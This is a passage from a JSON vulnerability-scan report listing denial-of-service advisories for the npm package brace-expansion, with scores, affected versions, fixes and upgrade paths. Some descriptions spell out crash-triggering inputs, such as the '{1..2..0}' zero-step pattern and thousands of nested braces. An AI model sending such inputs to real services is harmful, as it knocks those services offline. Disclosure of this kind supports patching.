"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
